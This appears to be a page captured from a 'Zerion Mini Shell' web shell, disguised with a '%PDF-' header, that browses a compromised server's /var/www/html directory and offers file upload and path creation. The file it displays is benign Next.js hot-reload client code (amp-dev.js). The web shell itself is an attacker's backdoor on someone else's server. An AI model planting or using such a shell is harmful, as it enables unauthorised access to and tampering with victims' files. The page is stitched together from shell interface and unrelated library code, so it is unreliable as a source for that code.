%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/next/dist/client/dev/
Upload File :
Create Path :
Current File : /var/www/html/node_modules/next/dist/client/dev/amp-dev.js

"use strict";
var _async_to_generator = require("@swc/helpers/lib/_async_to_generator.js").default;
var _interop_require_default = require("@swc/helpers/lib/_interop_require_default.js").default;
var _fouc = require("./fouc");
var _onDemandEntriesClient = _interop_require_default(require("./on-demand-entries-client"));
var _websocket = require("./error-overlay/websocket");
const data = JSON.parse(document.getElementById('__NEXT_DATA__').textContent);
window.__NEXT_DATA__ = data;
let { assetPrefix , page  } = data;
assetPrefix = assetPrefix || '';
let mostRecentHash = null;
/* eslint-disable-next-line */ let curHash = __webpack_hash__;
const hotUpdatePath = assetPrefix + (assetPrefix.endsWith('/') ? '' : '/') + '_next/static/webpack/';
// Is there a newer version of this code available?
function isUpdateAvailable() {
    // __webpack_hash__ is the hash of the current compilation.
    // It's a global variable injected by Webpack.
    /* eslint-disable-next-line */ return mostRecentHash !== __webpack_hash__;
}
// Webpack disallows updates in other states.
function canApplyUpdates() {
    return module.hot.status() === 'idle';
}
function tryApplyUpdates() {
    return _tryApplyUpdates.apply(this, arguments);
}
function _tryApplyUpdates() {
    _tryApplyUpdates = // This function reads code updates on the fly and hard
    // reloads the page when it has changed.
    _async_to_generator(function*() {
        if (!isUpdateAvailable() || !canApplyUpdates()) {
            return;
        }
        try {
            const res = yield fetch(typeof __webpack_runtime_id__ !== 'undefined' ? `${hotUpdatePath}${curHash}.${__webpack_runtime_id__}.hot-update.json` : `${hotUpdatePath}${curHash}.hot-update.json`);
            const jsonData = yield res.json();
            const curPage = page === '/' ? 'index' : page;
            // webpack 5 uses an array instead
            const pageUpdated = (Array.isArray(jsonData.c) ? jsonData.c : Object.keys(jsonData.c)).some((mod)=>{
                return mod.indexOf(`pages${curPage.startsWith('/') ? curPage : `/${curPage}`}`) !== -1 || mod.indexOf(`pages${curPage.startsWith('/') ? curPage : `/${curPage}`}`.replace(/\//g, '\\')) !== -1;
            });
            if (pageUpdated) {
                document.location.reload(true);
            } else {
                curHash = mostRecentHash;
            }
        } catch (err) {
            console.error('Error occurred checking for update', err);
            document.location.reload(true);
        }
    });
    return _tryApplyUpdates.apply(this, arguments);
}
(0, _websocket).addMessageListener((event)=>{
    if (event.data === '\uD83D\uDC93') {
        return;
    }
    try {
        const message = JSON.parse(event.data);
        if (message.action === 'sync' || message.action === 'built') {
            if (!message.hash) {
                return;
            }
            mostRecentHash = message.hash;
            tryApplyUpdates();
        } else if (message.action === 'reloadPage') {
            document.location.reload(true);
        }
    } catch (ex) {
        console.warn('Invalid HMR message: ' + event.data + '\n' + ex);
    }
});
(0, _websocket).connectHMR({
    assetPrefix,
    path: '/_next/webpack-hmr'
});
(0, _fouc).displayContent();
(0, _onDemandEntriesClient).default(data.page);

if ((typeof exports.default === 'function' || (typeof exports.default === 'object' && exports.default !== null)) && typeof exports.default.__esModule === 'undefined') {
  Object.defineProperty(exports.default, '__esModule', { value: true });
  Object.assign(exports.default, exports);
  module.exports = exports.default;
}

//# sourceMappingURL=amp-dev.js.map

Zerion Mini Shell 1.0